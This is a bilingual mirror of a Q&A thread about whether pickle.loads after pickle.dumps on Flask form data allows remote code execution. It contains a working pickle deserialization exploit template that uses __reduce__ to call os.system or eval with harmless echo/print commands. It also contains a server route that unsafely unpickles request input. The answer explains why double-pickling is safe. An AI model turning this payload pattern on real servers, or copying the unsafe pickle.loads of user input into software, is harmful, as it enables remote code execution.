简体   繁体   English

如果服务器在 pickle.loads 之前调用 pickle.dumps 有没有办法进行 RCE?

[英]If a server calls pickle.dumps before pickle.loads is there any way for RCE?

Disclaimer: This question is not for malicious purposes!!免责声明:这个问题不是出于恶意目的!! I am working on my OWN virtual machine!我正在我自己的虚拟机上工作!

The article here demonstrates how loading untrusted pickle data can lead to remote code execution, I am investigating ways of using this workflow without the security issues. 这里的文章演示了加载不受信任的 pickle 数据如何导致远程代码执行,我正在研究在没有安全问题的情况下使用此工作流的方法。

My question is as follows - If I have made it such that the webapp gets a request in Flask, uses pickle.dumps() on the request.form , then uses pickle.loads() on what was previously dumped, is there still a way to execute malicious code?我的问题如下 - 如果我已经让 webapp 在 Flask 中获得一个请求,在request.form上使用pickle.dumps() ,然后在之前转储的内容上使用pickle.loads() ,是否还有执行恶意代码的方法?

Example server code:示例服务器代码:

@blueprint.route('/test', methods=['GET', 'POST'])
def test():
    test=pickle.dumps(request.form) 
    test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
    return ...

Is this workflow still vulnerable?这个工作流程仍然容易受到攻击吗? From my understanding, the most common type of exploit with pickle comes when b64 string is passed through and interpreted by pickle.loads() .根据我的理解,最常见的 pickle 漏洞利用类型是通过pickle.loads()传递和解释 b64 字符串。 However, is it possible to achieve the same results if pickle.dumps() is called on the form prior to pickle.loads() ?然而,是否有可能达到同样的结果,如果pickle.dumps()之前调用形式pickle.loads()

I have tried a couple things, but nothing has panned out.我尝试了几件事,但没有任何结果。 Please let me know if you know the secret code :)如果您知道密码,请告诉我:)

here is an example malicious user code from the same article这是同一篇文章中的恶意用户代码示例

    import pickle
    import base64
    import os
    
    
    class RCE:
        def __reduce__(self):
            cmd = ('echo EXECUTED THIS STATEMENT')
            return os.system, (cmd,)
    
    
    if __name__ == '__main__':
        pickled = pickle.dumps(RCE())
        print(base64.urlsafe_b64encode(pickled))
        # Running pickle.loads(pickle.dumps(RCE())) would execute 'echo EXECUTED THIS STATEMENT'
        # I need to pass through RCE() because pickle.dumps() and pickle.loads() are server-side

That would return a base64 string, that when interpreted by pickle.loads() , would execute the code in cmd .这将返回一个 base64 字符串,当被pickle.loads()解释时,将执行cmd 中的代码。

But how can you pass the result of RCE() in a request, so that it can then be dumped by pickle.dumps() on the server-side, before pickle.loads() and still execute malicious code?但是如何在请求中传递RCE()的结果,以便它可以在服务器端被pickle.dumps()转储,然后在pickle.loads()之前仍然执行恶意代码?

Example (This code does not work):示例(此代码不起作用):

client code客户代码

class RCE:
    def __reduce__(self):
        cmd = ('echo EXECUTED THIS STATEMENT')
        return os.system, (cmd, )

data = {
    'test': RCE()
}
s = requests.Session()
r = s.post(URL + "/test", data=data)

server-side code服务器端代码

@blueprint.route('/test', methods=['GET', 'POST'])
def test():
    test=pickle.dumps(request.form) 
    test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
    return ...

Example (This code works):示例(此代码有效):

client code客户代码

class RCE:
    def __reduce__(self):
        cmd = ('echo EXECUTED THIS STATEMENT')
        return os.system, (cmd, )

data = {
    'test': pickle.dumps(RCE())
}
s = requests.Session()
r = s.post(URL + "/test", data=data)

server-side code服务器端代码

@blueprint.route('/test', methods=['GET', 'POST'])
def test():
    test2=pickle.loads(request.form['test']) # THE CODE SHOULD BE EXECUTED AT THIS POINT
    return ...

My thinking is the following, is it possible to have a string, that when serialized by pickle.dumps() on the server-side, returns the same value as if pickle.dumps(RCE()) was executed on the client-side.我的想法如下,是否有可能有一个字符串,当在服务器端被pickle.dumps()序列化时,返回与在客户端执行pickle.dumps(RCE())相同的值. Of course, the result from pickle.dumps() on the server side would be a little different because of the request.form aspect.当然,由于request.form方面的原因,服务器端的pickle.dumps()的结果会有些不同。 From my undestanding, as long as there is executable code in the string, pickle.loads() will execute it.根据我的理解,只要字符串中有可执行代码, pickle.loads()就会执行它。

No there is no way the server can execute remote code by just dumping then loading it, but you can't load pickled data structures either.不,服务器无法通过转储然后加载来执行远程代码,但您也无法加载腌制数据结构。

I will use pickletools.dis to demonstrate what would actually happen:我将使用pickletools.dis来演示实际发生的情况:

import pickle
import pickletools
class RCE:
    def __reduce__(self):
        return eval, ("print('MALICIOUS PYTHON CODE HERE')",)

pickled_malicious = pickle.dumps(RCE())
print("what is executed when loading malicious pickle:")
pickletools.dis(pickled_malicious)
print("pickle is type:", type(pickled_malicious))

pickled_string = pickle.dumps(pickled_malicious)
print("what is executed when loading the dump of malicious")
pickletools.dis(pickled_string)

when the malicious code is loaded we load the function eval or os.system as well as the argument then the REDUCE op code runs that function:当加载恶意代码时,我们加载函数evalos.system以及参数,然后REDUCE操作代码运行该函数:

what is executed when loading malicious pickle:
    0: \x80 PROTO      3
    2: c    GLOBAL     'builtins eval'
   17: q    BINPUT     0
   19: X    BINUNICODE "print('MALICIOUS PYTHON CODE HERE')"
   59: q    BINPUT     1
   61: \x85 TUPLE1
   62: q    BINPUT     2
   64: R    REDUCE
   65: q    BINPUT     3
   67: .    STOP

The pickled malicious code itself though is just a bytes object,腌制的恶意代码本身虽然只是一个字节对象,

pickle is type: <class 'bytes'>

so if you dump that the loading would just load a literal bytes object (or maybe string if you are doing base64 encoding but either way it is just a literal at this point)因此,如果您转储加载只会加载文字字节对象(或者如果您正在执行 base64 编码,则可能是字符串,但无论哪种方式,此时它都只是文字)

what is executed when loading the dump of malicious
    0: \x80 PROTO      3
    2: C    SHORT_BINBYTES b"\x80\x03cbuiltins\neval\nq\x00X#\x00\x00\x00print('MALICIOUS PYTHON CODE HERE')q\x01\x85q\x02Rq\x03."
   72: q    BINPUT     0
   74: .    STOP
highest protocol among opcodes = 3

This means that if the server is just calling pickle.dumps in the input (which is a string of base64 data or bytes data containing pickle data, either way it is just a literal value when it is dumped) then when it calls pickle.loads on that result it will just get back the original input.这意味着,如果服务器只是在输入中调用pickle.dumps (它是包含 pickle 数据的 base64 数据或字节数据的字符串,无论哪种方式,它在转储时都只是一个文字值)然后当它调用pickle.loads在该结果上,它只会取回原始输入。

Any scenario that interprets user input as pickle data is vulnerable - but you aren't doing that here - you are creating pickle data from known safe input (the input string) and then loading that.任何将用户输入解释为 pickle 数据的场景都是脆弱的——但你在这里没有这样做——你是从已知的安全输入(输入字符串)创建 pickle 数据,然后加载它。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM